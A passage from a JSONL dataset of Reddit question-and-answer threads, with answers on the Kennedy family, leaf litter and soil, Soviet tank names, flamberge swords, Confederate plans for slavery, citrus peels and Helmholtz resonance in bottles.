[], "selftext_urls": ["https://old.reddit.com/r/todayilearned/comments/blutbs/til_in_1967_egypt_received_false_intel_from_the/"], "answers_urls": [[]]}
{"q_id": "1b6dyp", "title": "Why were/are the Kennedy's such an important/famous family in the United States culture?", "selftext": "I understand JFK! But, were they famous before he became President? Where did their wealth come from? etc.....", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1b6dyp/why_wereare_the_kennedys_such_an_importantfamous/", "answers": {"a_id": ["c942b6v", "c942h6l", "c942rr6"], "score": [21, 13, 8], "text": ["They are very well-known in the United States because of their prominence in government. JFK's father, Joseph P. Kennedy, was the US ambassador to the UK just prior to and during the beginning of WWII. One of his sons, Joseph II, was a naval officer that was killed in the war. \n\n\nJPK's children are remembered as being the Kennedy \"dynasty\" as I've heard them be called. JFK was, of course, president. His brother Bobby was the US Attorney General *at the same time as his JFK's presidency*, Ted was a US senator for decades, Jean was a US ambassador to Ireland, and Eunice co-founded the Special Olympics. (Just to add on, JPK had one more girl named Rosemary. She had mental disorders and, in hopes to make her act normally, JPK had her lobotomized. It did not help, and I think she spent the remainder of her life quiet and needing nursing aid.)\n\n\nSo to sum it up, the Kennedy's are such a famous family in US culture because of their prominence in important politics in such a short period.", "Sorry, I don't know if its against the rules, but there is an amazing drama series called \"The Kennedys\" released by Showtime for anyone interested in a dramatized account of JFK's presidency (as well as some familial background and elements of their personal life). I'm sure some parts of the show are fictionalized, but quite a few things that 1Tw03Four and DannyJayNG mentioned in their posts are represented in the show. I was always curious about why the Kennedys were seen as American royalty, and this show gave me some insight.", "A bit off topic maybe, but wasn't Kennedy's father a Nazi sympathizer?  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "12r0vp", "title": "Does the systematic removal of dead leaves change the composition of soil in any way?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/12r0vp/does_the_systematic_removal_of_dead_leaves_change/", "answers": {"a_id": ["c6xfrf6", "c6xj04s", "c6xu219"], "score": [16, 15, 2], "text": ["Oh yes. I live in a coastal area where it's traditional to remove leaves and grass clippings. The soil is almost completely sand in lawns. However, under the forested area there is about ten inches of sandy loam. For two years I went around and collected the leaves my neighbors tossed out and mowed over them on the lawn. I now have about 3/4 inch of loam on top of sand, with another three to five inches of the sand below containing significant organic material. \n\n(No joke: I overheard someone say \"My grandmother used to have the best yard in the county, but she got old and couldn't keep it up, and all that grass started growing in it.\")", "Absolutely.  Those nutrients would normally be recycled in a forest by fungi and microorganisms.  Hauling them away removes them from the system.  It is similar to agricultural practices that can rob the soil of \nhealth and helped cause the Dust Bowl.\n\n_URL_0_\n\nFarmers used to burn the cotton stubble, losing much of the organic matter which ruined the soil after repeated years of the practice.  That is similar to removing tree leaves, but removing the leaves is even worse, as burning leaves inorganic residues to be reclaimed by the soil.", "Dead leaves are a big part of the composting process, contributing the carbon necessary to create a bioactive environment for bacteria, fungus and other micro/macro organisms to live. Without the carbon content from dead brush and also from the ash from fires, decomposition would not take place and the ground will lose fertility."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Dust_Bowl"], []]}
{"q_id": "4re9nt", "title": "[ww2] How did tank crews get permission to paint their own tanks?", "selftext": "We've all seen tanks with names and images painted on them. What is the process to getting this done? Does the tank crew have to get permission from someone first? Was it pretty unregulated? I've hit google and gotten nothing at all on this topic. ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4re9nt/ww2_how_did_tank_crews_get_permission_to_paint/", "answers": {"a_id": ["d50evvb"], "score": [2], "text": ["For Soviet tanks, sometimes the order to name your tank can come from the top. For example, tanks of the[1st Order of the Red Banner Tank Brigade](_URL_3_) had names that were set by their commander. \n\nAnother way tanks could get names is if someone else paid for them. The most famous example is Mariya Oktyabrskaya's Boeyvaya Podruga (\"Fighting Girlfriend\"), but there were many others, where entire tank columns would get named after the organization that donated money to have them built. \n\nThen there were tanks which did not come with a name. I've never seen any regulations regarding naming them, but some interviews on iremember ([here's an example](_URL_1_)) casually mention writing inscriptions on the tank without any kind of indication of rules surrounding it. \n\n[_URL_2_](_URL_0_) also mentions, citing the army manual, that special markings applied for parades must be painted over afterwards, but often there is not enough time, and the markings remain. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://army.armor.kiev.ua/hist/opoznav.shtml", "http://iremember.ru/memoirs/tankisti/tolstikov-vladimir-vladimirovich/", "Armor.Kiev.UA", "http://tankarchives.blogspot.ca/2014/01/tank-inscriptions.html"]]}
{"q_id": "svz91", "title": "I'm not sure if this is suitable for AskScience, but here I go: Is there any advantage conferred by having toothbrush bristles alternative lengths and different angles?", "selftext": "I just got a new toothbrush. Compared to my old toothbrush, it's rather fancy - It has alternatively long and short bristles, and a bunch of them are at slight angles. Does this improve the cleaning ability of the toothbrush, when compared to the standard \"lots of bristles\" tooth brush? Or is this a marketing gimmick to make people believe that their teeth are being cleaned better by these wacky, angled bristles?\n\nFor pictures reference, just incase my description was a bit crappy:\n[Plain Toothbrush](_URL_1_)[\nFancy Toothbrush](_URL_0_)", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/svz91/im_not_sure_if_this_is_suitable_for_askscience/", "answers": {"a_id": ["c4hi5r6", "c4hk63t"], "score": [6, 6], "text": ["Consider posting your question to /r/dentistry", "[This study](_URL_2_) suggests there is no real difference in performance or durability between different bristle arrangements.\n\n[This study](_URL_0_) seems to confirm that there is no performance difference.\n\nEdit: On another note [this](_URL_1_) study (though funded and directed by the manufacturer of the brush being tested) found that electronic toothbrushes removed significantly higher plaque than a manual brush. It appears if you really want a better brush performance you may want to switch to an electronic model"]}, "title_urls": [], "selftext_urls": ["http://image.made-in-china.com/4f0j00ZCAtgwcalDbO/Adult-Toothbrush.jpg", "http://upload.wikimedia.org/wikipedia/commons/c/c3/Toothbrush_20050716_004.jpg"], "answers_urls": [[], ["http://medind.nic.in/jao/t07/i2/jaot07i2p76.pdf", "http://www.dentalcare.com/media/en-US/research_db/pdf/Page31_2580.pdf", "http://www.ncbi.nlm.nih.gov/pubmed/21356018"]]}
{"q_id": "1g70jd", "title": "Questions about flamberge style blade and its effectiveness in combat/decoration and its history (in particular applied to zweih\u00e4nders)", "selftext": "As mentioned in the title I am curious about the possible effects the flamberge style of blade had in combat(especially when used on a zweih\u00e4nder) .  Also just how and or why it came into existence in the first place, its use on the battlefield/tactics and how and or why it faded away (was it simply that all two-handed long-swords were falling out of favour in tactics or was it something else in particular?\n\nThank you for your time and I look forward to hearing just what there might be to say.\n\nP.S. feel free to mention anything else about this that I may not have asked for in particular as I want to learn all I can.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1g70jd/questions_about_flamberge_style_blade_and_its/", "answers": {"a_id": ["cahc3p7", "cahf3kk", "cahgkkr", "cahwcmv"], "score": [14, 7, 6, 2], "text": ["[Flamberge style sword](_URL_0_)", "There are two regions where I know flamberge style swords were used to great effect, but the implimentation and specific facility on the battlefield differed. \nIn middle ages scotland and ireland we see highland warriors and gallowglass mercenaries use Claymores to great effect. Unlike the english and lowland scots irish and highland warfare was mostly fought in the form of raids and counter-raids. Because mobility was vital in this style of warfare most infantry were very lightly armed and armoured, a sword, roughly 3 throwing darts or a bow, and typically a small light wooden shield. When it came time for a pitched battle such troops were ineffective at holding a battle line. So highlander infantry were typically interspaced through these looser formations to stiffen their resolve. The claymore was effectively a hacking weapon meant to crush through lightly armoured troops and overpower enemy soldiers, effectively scattering the foes formations. they were also far better at combatting the light cavalry of the era than the regular infantry forces.\nAnother region which saw use by the flamberg swords was southern europe during the late middle ages into the renaissance period. italy saw massive amounts of bloodshed in this period and developed better metalurgical techniques for producing better greatswords. The italian wars was a series of wars that stretched from 1494 until 1559 and involved almosy every major power in europe. The early years of the wars saw battles dominated by massed pike and spear formations, most notable mercenary landschnechte from Germany and Switzerland. Zweihander and flamberge swords were often weilded within these formations by specially trained units. Unlike in ireland the strategem behind their use was to disrupt these spear formations. The broad swings of the zweihander were used to knock aside or break pike points, giving the pikes on the other side an attempt to spear some foes. Effective use of zweihander/halbards (used in a similar way) and pikes could break the enemy formation and instigate a rout.\n\nI intend to edit, and add sources later today if I can find the time. If anyone can flesh this out further I would also appreciate it. \nIm currently at work and am writing this on my phone, which is less than ideal.", "[This](_URL_0_) article from ARMA suggests that the scalloped blade slowed an opponent's blade during a parry, and could cause unpleasant vibrations to happen during parries, but there are no sources to support it.  ARMA stuff tends to fairly decent in terms of historical accuracy, but you should still take it with a grain of salt.", "Speaking from a purely mechanical standpoint, curved edges cut better than straight edges, since a smaller portion of the blade is cutting at any given time.\n\nAt the same time, a straight blade is better able to deliver a thrust, as force can be passed in a straight line from the hands to the point.\n\nBy combining a generally straight blade with curved sections, a flamberge would be better at cutting than a straight edge without sacrificing thrusting ability."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.swordsandarmor.com/images/SD901098_Flamberge_Sword.jpg"], [], ["http://thearma.org/terms4.htm"], []]}
{"q_id": "ev0bhr", "title": "Did Confederate leaders see slavery lasting indefinitely? Were there plans to eventually phase-out the institution years down the line after the Civil War, or was it assumed that it would last forever?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/ev0bhr/did_confederate_leaders_see_slavery_lasting/", "answers": {"a_id": ["fft1jye", "fft5gn4", "ffthpdt", "ffwpucm"], "score": [198, 2188, 218, 4], "text": ["Matt Karp in [*This Vast Southern Empire: Slaveholders at the Helm of American Foreign Policy*](_URL_0_), a book about the antebellum foreign policy of the United States, discusses how there were several ambitious but completely unrealistic plans for either the Southern US or the US as a whole to create a political union of all the remaining slave-holding countries in the Americas (which at the time mainly meant Cuba and Brazil) and then expand to encompass a vast circle that would span the entire Caribbean Basin and Gulf of Mexico, from the US down to the northern half of South America. The US (or maybe just the southern half), plus all of Mexico and Central America, all of the Caribbean islands, plus Colombia, Venezuela, Brazil, and a few other South American nations would become part of a vast white supremacist empire, built on plantation slavery.\n\nEven the most delusional slaveholder-diplomats didn't envision this happening any time soon, but there were serious efforts by the US before the war, and the Confederacy during the war, to annex Cuba, so we know some version of this plan was seriously contemplated.\n\nAs for the vision of slavery's future, Confederate ideologues were always vague, some would say intentionally. Some went with the benevolence argument that slavery was necessary to \"civilize\" Africans, and once they had been fully civilized (which some said might happen fairly soon, and some said might take many decades or even centuries), they could be freed and live like whites. Others, like John C. Calhoun, argued more forcefully that slavery was \"not a necessary evil, but a positive good\"[[2]](_URL_1_) and that subordination of the African to the European was \"his natural condition\", possibly implying slavery should go on in perpetuity. He argued Southern slavery was in fact a better system than existed in the North, and said slaves lived better than many free laborers in the North, because slave owners were required to feed and clothe their slaves, and care for them in old age, whereas free laborers could treated as entirely disposable. In either case, both types of ideologue supported the expansion of slavery to new territories in the west, such as Texas and Kansas. None took the type of compromise position of Abraham Lincoln who argued slavery should be limited to the Southern states where it already existed and not allowed to expand, with the hope that if it could not grow, it might gradually decay as an institution.\n\nIt might be most accurate to answer your question by simply saying \"they weren't thinking that far ahead.\" Some claimed to envision a day when slavery would be gone, while others did not explicitly say it would or should end one day. But neither of them envisioned it ending *soon*. Neither envisioned it being something they needed to start preparing for. If they thought it should happen, it would be far enough away that it was someone else's responsibility to figure it out, they weren't planning to do it themselves.\n\nSources:\n\n1. Karp, Matt; \"This Vast Southern Empire\" Harvard University Press, 2016\n\n2. Calhoun, John; \"Slavery a Positive Good\" United States Senate, 1837", "There are some [good answers](_URL_3_) about [Southern views of slavery](_URL_0_) and [racial hierarchy](_URL_2_) by u/Georgy_K_Zhukov, and the FAQ has a [few](_URL_1_) more [slavery-related](_URL_6_) answers. \n\nBut your question goes to a very common trope that pops up when it comes to the Confederacy and those who fought for it. Namely, that eventually, they'd either see the error of their ways, or potentially just lose interest in the institution of slavery. There's a whole subsection of Confederate apologia that tries to show how the \"great men\" of the Confederate Army, guys like Robert E Lee, Stonewall Jackson, and others, really actually didn't like slavery and thought that they could somehow deal with it later, but had to fight for their state/country first. Of course, like most Confederate apologia, this ignores the elephant in the room: all those black people.\n\nThere were millions of black people, most of whom were slaves, in the Confederate South. Had there been a plan to phase out slavery, or even an inkling that this might happen eventually, there would have been talk about what exactly was going to happen with all of those former slaves. Abolitionists had thought about this extensively, with many (including Lincoln) pondering the idea of either sending them back to Africa or somewhere else. If you didn't do that, of course, you'd need to integrate them into your own society, recognize their rights, perhaps even allow them to vote and own property and, you know, be human.\n\nSpeaking of which, you'd also expect to see some recognition that slavery was wrong on the basis of basic human rights. In reality, we see the exact opposite from Confederate leaders and politicians. The single most cited quote for this is from the Vice President of the Confederacy, Alexander Stephens, who neatly summed up what his new country was all about and why he was a total POS when he said\n\n >  Our new government is founded upon exactly the opposite idea; its foundations are laid, its corner-stone rests, upon the great truth that the negro is not equal to the white man; that slavery subordination to the superior race is his natural and normal condition. This, our new government, is the first, in the history of the world, based upon this great physical, philosophical, and moral truth.\n\nWhat was that opposite idea that he's talking about? Well, pretty much exactly what you're asking about:\n\n >  The prevailing ideas entertained by [Jefferson] and most of the leading statesmen at the time of the formation of the old constitution, were that the enslavement of the African was in violation of the laws of nature; that it was wrong in principle, socially, morally, and politically. It was an evil they knew not well how to deal with, but the general opinion of the men of that day was that, somehow or other in the order of Providence, the institution would be evanescent and pass away.\n\nA few things are clear from this, the famous [\"Cornerstone Speech.\"](_URL_4_) One is that the VP of the new government was staunchly against the idea of phasing out slavery. In fact, this was the fear that launched the thousands ships of secession in the first place. What you're asking about is more or less what many abolitionists in the North were trying to do, and what leaders in the South were trying to stop.\n\nMore importantly, the prevailing view among those who defended slavery was that it was the natural subordination of an inferior race to a superior one. In their twisted way, they turned slavery into a moral good. Once you see it this way, there's no room to phase out the institution. In their eyes, black people were not capable of being free, and could not actually function as equal members of society. Regardless of the obviously ample economic interest that the South had in keeping slavery going, this white supremacist ideology meant that even those who did not own slaves themselves saw slavery as the proper way of the world.\n\nThis is the biggest problem with any argument that claims that the South would have eventually left slavery behind. Again, the economic benefits of free labor alone may have been enough to sustain the institution of slavery. But beyond that, by and large, people in the South (and for that matter, many in the North) did not see slaves as people worthy of equality, freedom, or even recognition as actual people. With this mindset, what do you do with all these former slaves, who you \"know\" are inferior and cannot contribute as free men and women to the great society that you (white people) have built? If anything, you figure that you're doing them a \"favor\" by keeping them in servitude, teaching them the ways of Christianity, and trying to reform their \"primitive\" ways as best you can. \n\nIt's worth reading through some relevant sections of various states' declarations of secession. One thing that becomes immediately clear when you read them is that, well, how about Mississippi explains it:\n\n >  **Our position is thoroughly identified with the institution of slavery**-- the greatest material interest of the world. Its labor supplies the product which constitutes by far the largest and most important portions of commerce of the earth. These products are peculiar to the climate verging on the tropical regions, and by an imperious law of nature, none but the black race can bear exposure to the tropical sun. These products have become necessities of the world, and **a blow at slavery is a blow at commerce and civilization.** That blow has been long aimed at the institution, and was at the point of reaching its consummation. There was no choice left us but submission to the mandates of abolition, or a dissolution of the Union, whose principles had been subverted to work out our ruin. That we do not overstate the dangers to our institution, a reference to a few facts will sufficiently prove.\n\nGeorgia: \n\n >  The prohibition of slavery in the Territories, hostility to it everywhere, **the equality of the black and white races,** disregard of all constitutional guarantees in its favor, were boldly proclaimed by its leaders and applauded by its followers.\n\n >  With these principles on their banners and these utterances on their lips the majority of the people of the North demand that we shall receive them as our rulers.\n\n >  The prohibition of slavery in the Territories is the cardinal principle of this organization.\n\nTexas:\n\n >  In all the non-slave-holding States, in violation of that good faith and comity which should exist between entirely distinct nations, the people have formed themselves into a great sectional party, now strong enough in numbers to control the affairs of each of those States, based upon an unnatural feeling of hostility to **these Southern States and their beneficent and patriarchal system of African slavery,** proclaiming the debasing doctrine of equality of all men, irrespective of race or color-- a doctrine at war with nature, in opposition to the experience of mankind, and in violation of the plainest revelations of Divine Law. **They demand the abolition of negro slavery throughout the confederacy, the recognition of political equality between the white and negro races, and avow their determination to press on their crusade against us, so long as a negro slave remains in these States.**\n\nAll emphases mine. You can read them in full along with a few other states [here.](_URL_5_)\n\nAs you can see, slavery was not merely a facet of Southern culture or an institution within the Confederacy. It was its entire *raison d'\u00eatre*, and white supremacist ideology was its core. Phasing out slavery was exactly what the seceding states feared was happening in the US, and they seceded specifically in order to stop that phasing out. Furthermore, they viewed slavery as an inherently good system, one which kept black and white races in their respective places in society. There was no sense that black people had their own rights, and no plan or thought as to how those rights might be recognized if slavery were to be phased out.", "/u/DGBD mentioned a few answers I've written in the past, and touched on a few issues themself, but I'll also repost this older response I wrote up which focuses specifically on the issue of Emancipation and the Confederacy.\n\n-------------------------\n\n[\"The CSA had, in fact, already drafted up a well managed plan to eradicate the practice of slavery by mid-war,\" is this correct?](_URL_0_)\n\nSo there are essentially two things that are in play here. It *is* true that Historians *debate* whether or not slavery would have come to an end in the South had the Confederacy won, if the Civil War had been avoided, or if hostilities had been ended swiftly, prior to the Emancipation Proclamation with some sort of agreement that guaranteed its continued existence. As with any counterfactual discussion, there is no guaranteed answer, and you can find real, scholarly debate about just how long the 'shelf-life' of slavery was. (See, for instance \"Would Slavery Have Survived Without the Civil War? Economic Factors in the American South During the Antebellum and Postbellum Eras\" in Southern Cultures *Summer 2013*, which is a 'for'-'against' discussion between Stanley L. Engerman and Peter A. Coclanis).\n\nBut that isn't really the question at hand. The question here is whether there were clear, defined plans within the Confederacy to end slavery while 'winning', and such an assertion is outright laughable. At its founding, the Confederacy made no secret of how important slavery was to it. Pres. Davis in an early address to Congress, noted \"the labor of African slaves was and is indispensable\" to the success of the Confederacy. To be sure, there were a few proposals, but they bear no resemblance to this plan related above (which, ironically, sounds much more akin to the Emancipation plans advanced in the North). I've written previously about the _centrality_ of slavery to the [Confederacy's reason for existence](_URL_1_), which, aside from, I hope, offering a fair window into just why the idea that the South would immediately be contemplating getting rid of slavery within only a year or two of leaving the Union to protect the institution, additionally provides some specifics for just why the above statement is so off-kilter. For starters, such a law would be *Unconstitutional*, since, while nearly a wholesale copy of the American Constitution, most of the changes, most especially Article I, Sec. 9(4) - \"*No bill of attainder, ex post facto law, or law denying or impairing the right of property in negro slaves shall be passed*\" - are focused on the protection of their 'peculiar institution'. The most advanced plan which can be called \"Emancipation\" would likely be the Barksdale Bill, which was passed in March of 1865, and did allow for the enlistment of black slaves, hanging the carrot of freedom in front of them, but it was an abject failure. Not only did barely a handful of willing men show up, as they knew there was nothing in it for them as the war was nearly lost anyways, but it also helps illustrate just how divisive the proposal remained, if the retorts of those who opposed the bill are any indication. Earlier in the war, when a similar proposal had been made by Gen. Patrick Cleburne, it had essentially killed his career, given how unpopular the idea was. \n\nAnd to be clear, the Emancipation in both of these plans was strictly as a reward for military service, *not* to extend beyond that. What other proposals that existed, which to reiterate, by no stretch of the definition can be called \"well managed plan\" let alone devised \"*by mid-war, when they were on the winning side of things*\", were embryonic. During the debates on what became the Barksdale Bill, for instance, avowed slavery advocate John Stringfellow, did propose a broad emancipation plan, but it was a desperate bid, in the face of impending defeat (Stringfellow writing to Davis in the winter of 1865), to *preserve* the system of plantation slavery in all but name, arguing that \"if we emancipate, our independence is secured, the white man only will have any and all political rights\u201d and whites' power over the blacks would thus remain \"on terms about as economical as though owned by him.\u201d It was not an idea unique to Stringfellow, at that point in time, as others had expressed similar sentiments in private correspondence. It is, of course, supremely ironic, since while such a bid, had it been enacted, would be unlikely to succeed, given the Union's position of strength at the negotiating table that late in the war, but of course, in the end, the vain hope of some Confederate leaders, expressed by Stringfellow, would nevertheless essentially triumph in the form of Jim Crow, which while not exact in the details, certainly encapsulated the sentiments.\n\nSo to sum this up, it is not wrong to say that there were proposals for Emancipation within the Confederacy, but it is absolutely wrong to say that there was \"a well managed plan to eradicate the practice of slavery by mid-war, when they were on the winning side of things\". There was no such plan in 1862-1863, and when even such a limited proposal as Cleburne's was made in 1863, it was shot down immediately. In Davis' words:\n\n > the dissemination or even promulgation of such opinions under the present circumstances of the Confederacy, whether in the Army or among the people can be productive only of discouragement, distraction, and dissension.\n\nWhen such proposals, whether of partial or total Emancipation, did finally become more politically tenable, it was only in 1865, when the Confederacy was on the ropes and its leadership fully aware that they were making desperate, hail Mary bids for survival, hardly legislating while on 'the winning side of things'.\n\nFor further reading on the topic of Emancipation within the Confederacy, I would recommend \"Confederate Emancipation; Southern Plans to Free and Arm Slaves during the Civil War\" by Bruce Levine.", "In addition to the wonderful answers by /u/Georgy_K_Zhukov and /u/DGBD I'd like to mention the example of comparative emancipation in the Americas. No American nation reliant on slavery perpetuated the institution beyond the 1890s. \n\nBrazil and Cuba (while still a Spanish colony) emancipated their slaves. Why? There was no one cause but several major forces. 1) rising political and economic liberalism painted slavery as an archaic institution and one incompatible with modern capitalism especially the need for a free market in labor (not for the benefit of workers but for the benefit of employers) 2) the persistent cost and difficultly of policing slavery and social control. This was especially true in Cuba as anti-slavery resistance became intertwined with nascent independence movements. Abolition was a means to undercut pressures for independence.\n\nThe biggest difference between the American south and those two slave countries was that the slave population in the US became self reproducing far earlier. This meant that before the end of the transatlantic trade an internal slave trade existed allowing for the expansion of slavery domestically, particularly from the deep South to the west. Brazil and Cuba only began to consider domestic reproduction after the end of the international trade, but that still came 60 years before eventual abolition.\n\nThe US South was not so unique that these factors would not have eventually come into play. Some constellation of those forces and other domestic issues ended slavery in every American nation. A Confederate States of America would have been no different. The timing may have been different but the outcome the same."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.amazon.com/This-Vast-Southern-Empire-Matthew-ebook/dp/B01INP11O2", "https://en.wikisource.org/wiki/Slavery_a_Positive_Good"], ["https://www.reddit.com/r/AskHistorians/comments/68myvr/why_was_there_a_civil_war_why_could_that_one_not/dgztopa/", "https://www.reddit.com/r/AskHistorians/comments/208lix/multiple_claims_about_slavery_and_the_civil_war/", "https://www.reddit.com/r/AskHistorians/comments/67fvaf/was_the_average_confederate_soldier_a_strong/dgq8tn2/", "https://www.reddit.com/r/AskHistorians/comments/5q20wg/why_were_so_many_willing_to_fight_for_and_defend/", "https://teachingamericanhistory.org/library/document/cornerstone-speech/", "https://www.battlefields.org/learn/primary-sources/declaration-causes-seceding-states", "https://www.reddit.com/r/AskHistorians/comments/us25s/civil_war_slavery_or_states_rights/c4y1m6h/"], ["https://www.reddit.com/r/AskHistorians/comments/5pv2zg/the_csa_had_in_fact_already_drafted_up_a_well/dcucpph/", "https://www.reddit.com/r/AskHistorians/comments/3edss0/was_the_american_civil_war_about_more_than_just/cte2mj9/"], []]}
{"q_id": "5j6qa5", "title": "why are bitter citrus fruit harder to peel?", "selftext": "It seems there's a correlation between the bitterness of a citrus fruit and how hard they are to peel - lemons and limes compared to oranges and tangerines for instance.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5j6qa5/eli5_why_are_bitter_citrus_fruit_harder_to_peel/", "answers": {"a_id": ["dbdspc8", "dbduazl", "dbduj2w", "dbe3kkx"], "score": [2, 30, 4, 6], "text": ["One might think it's part of the same evolution that has them be sour -- so creatures don't eat them.\n\nReally, it's probably more just because they were bred (remember, most of what we eat has been genetically cultivated over thousands of years) with certain traits that were beneficial, and the thicker peel was not a significant detriment.", "The bitter ones we humans haven't cultivated into tasty fruits that are easy to eat.\n\nThe closer to natural you go, the less sweet and harder to peel citrus get.", "This is not necessarily the case. The kumquat is an extremely bitter citrus fruit, yet it is not all that difficult to peel.\n\n**Edit:** Ironically, the rind itself is actually sweeter than the fruit.", "Genetic patterns suggest the four original parents of the citrus varieties we have today are citron, pummelo, mandarin, and papeda.  Generally the sweeter varieties you'd be familiar with like oranges and clementines have more mandarin parentage, grapefruits have more pummelo parentage, and lemons have more citron parentage.  \n\nFrom \n_URL_0_:\n\n > \"...mandarins are therefore all the more important as the **only sweet fruit** among the parental species.\"\n\nMandarins happened to have thinner skin which means easier peeling, and selective breeding amplified this.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["https://en.wikipedia.org/wiki/Citrus_taxonomy"]]}
{"q_id": "33tlf0", "title": "Can you determine the volume of a bottle by the note it makes when blowing over the opening?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/33tlf0/can_you_determine_the_volume_of_a_bottle_by_the/", "answers": {"a_id": ["cqoccp9", "cqocrrw", "cqocu3d", "cqod1bj", "cqod6ng", "cqodiee", "cqodl1o", "cqodlbt", "cqodoxu", "cqoebaq", "cqoeblr", "cqoes5w", "cqog2fz", "cqogb0c", "cqogjj0", "cqogwnk", "cqoimbe", "cqoiu7d", "cqok2yj", "cqolbd3", "cqomiwz", "cqon2g2", "cqoout8", "cqop6tt", "cqoqxp2", "cqorn90", "cqou5a2", "cqoui0k", "cqovfz2", "cqowxml", "cqoyqny", "cqoyrze", "cqozu98"], "score": [1282, 22, 2, 62, 2, 7, 6, 385, 2, 2, 5, 2, 3, 2, 16, 2, 2, 2, 5, 7, 2, 3, 4, 2, 2, 2, 2, 3, 3, 2, 4, 3, 2], "text": ["Engineering student here and a musical enthusiast. Different shapes produce different notes/tones. So no, you wouldn't be able to determine the volume this way. Also the design of the opening determines the frequency of the tone produced as well as intensity of your blowing. \n\n\n**EDIT:** Since a lot of people are telling me that bottles that contain water at different volumes make different tones, that is true, but you have to think, if you place the same volume of water into a another bottle of a different shape but the same volume,you will produce a totally different tone. \n\nAlso, you can test this by simply blowing into a bottle that contains some water and as you blow change the angle of the bottle and you'll notice you produce a slightly different tone. This is because the shape of area you are blowing into is changing.", "As an addition the phenomenon is known as [Helmholtz Resonance](_URL_0_).", "If the shape of the bottle was always the same, and the opening was always the exact same shape and size, then you would probably be able to determine the volume by the sound made when blowing over the opening.  \n\n  If the shape of the bottle was random, and the opening was always a different shape and size, then you would not be able to determine the volume, as bottles of various volumes could produce the exact same tone in that case.", "If you only want the volume and not the shape, then theoretically, yes, this is Weyl's law (_URL_1_)\n\nI don't know about 3d shapes but there are 2d shapes that are isospectral (they \"sound\" the same) without being isometric (so they're not the same shape) (_URL_0_)", "To better understand how the volume of the air inside the bottle isn't the only variable in the experiment i think it helps knowing how blowing over a bottle produces sound.\nWhen you blow air over (and into) the bottle, air inside the neck of the bottle is pushed down into the body. the pressure rises inside it, and the air from the neck is sent back up. This happens many times a second, and it is this piston movement of the neck-air that pushes air in the room towards your ear in a pattern we recognize as sound. \n\nNote: It is actually the same phenomenon that makes a sound when you drive a car with open windows on a freeway. ", "Out of interest, does it produce one frequency or a number of superimposed frequencies?", "Not quite, but if you know a little bit about the neck of the bottle you can calculate the volume of the rest of the bottle. \n\nWhen you blow across the top of a beer bottle, the air in the neck compresses relatively little compared to the much larger volume of air in the body of the bottle. A resonance is set up where the air in the neck acts as a mass, and the air in the rest of the bottle functions as a spring. This is called Helmholtz resonance. \n\n/u/uiolc suggested that you can calculate the frequency by assuming a node at the bottom of the bottle and an anti-node at the opening. For the case of beer-bottle shaped bottles this isn't quite what's happening, because a standing wave isn't being set up in the bottle. Instead, the sound you hear is the Helmholtz frequency, which is usually lower than the first mode where it is possible to have a standing wave. \n", "tlwr; Yes and No, depending on the rules.\n\nIn acoustics class this problem was on the second homework.\n\nAssume a Cabernet bottle, the kind with \"neck and shoulders\" not the tapered kind.  It makes the math easier.\n\nBasically you model the air in the neck as a mass.  Model rest of the bottle as a spring.  The frequency goes as SQRT(area/(length*volume)) for a neck of a given length and area.\n\nThere are some fringing effects so you should probably add 0.6 the diameter of the neck to the neck length to account for the mass of the air that is near but not in the neck.\n\nSo, if you knew dimensions of the neck of the bottle, [yes you could figure it out](_URL_0_).\n\nOtherwise not.\n", "I think the bottle walls establish the boundary conditions; there would be multiple resonance modes possible depending on the shape.  If you \"bend\" enough notes to get data for various modes you might get something to derive a fun equation describing possible shape/volume combinations.  Don't ask me to do it.  I'm an engineer, not a scientist.\n", "If the bottle is too large, too small, or you don't know its shape, then nope. If you do know its shape and it's of a 'normal' size then yes.\n\nEdit: yes -- assuming you meant sound and not only note. There are probably cases where if you don't know how loud the sound was the bottle could be a few different sizes.", "Physics student here. Not exactly what you asked, but it's not possible to know the shape/size of a drum by the notes it produces. You can make two drum of different shapes that produce the same sound.", "There are other factors, but the one that most influential to the note produced is the height of the bottle. The height determines which wavelengths will create standing waves and as such, which will have the most constructive interference and be the loudest. So you might be able to get a rough estimate of the height, but as I said, there are other factors involved that will distort your results.", "A variant:  If you modify the question slightly by asking if you could determine the volume of the a bottle by the SOUND it makes when blowing over the opening ? - Then I would say yes...  A grid of phased array microphones could be used to acoustically map the bottle in 3D space.  This is a bit like sonar mapping, except that the target is the emitter.", "you could create a graph of the notes produced by a specific bottle when specific volumes of liquid are inside it then interpolate later when you blow over the bottle and determine the note produced and cross reference with the graph you made earlier to determine the volume of water it currently holds but this would only work for this particular bottle (sorry if this is badly explained)\n", "Short answer: not unless you know the neck cross-section area and length.  Yes if you do.\n\nSuch a bottle is simply a Helmholtz resonator, which to first order can be described as a mass spring system, where the column of air in the neck is the mass and the spring is the compressible air inside the main volume of the bottle. What you get is a dependence of the form fres ~ sqrt(A/(L.V)), so if you know the neck parameters L (length) and A (cross-section area), you can solve for V.  Google \"Helmholtz resonator.\"\n\nSome caveats apply, such as the bottle length has to be significantly smaller than the resonance wavelength, and if the shape of the neck is not cylindrical, you have to go back to the derivation and you'll get an answer in terms of neck volume (easy enough).\n", "This depends.  A bottle is a kind of Helmholtz resonator, and it produces a certain narrow pitch band based on several factors:  \n1. Type of glass.  \n2. Exact shape of container.  \n3. Energy of the blowing.  \nAssuming we have derived a specific equation, for a specific kind of glass, using a specific amount of energy (the blowing), then absolutely we could.  As I believe others have mentioned, this is impractical.  But yes, it could be done.  \n  \nAs for different glass containers, it is certainly possible for someone who is 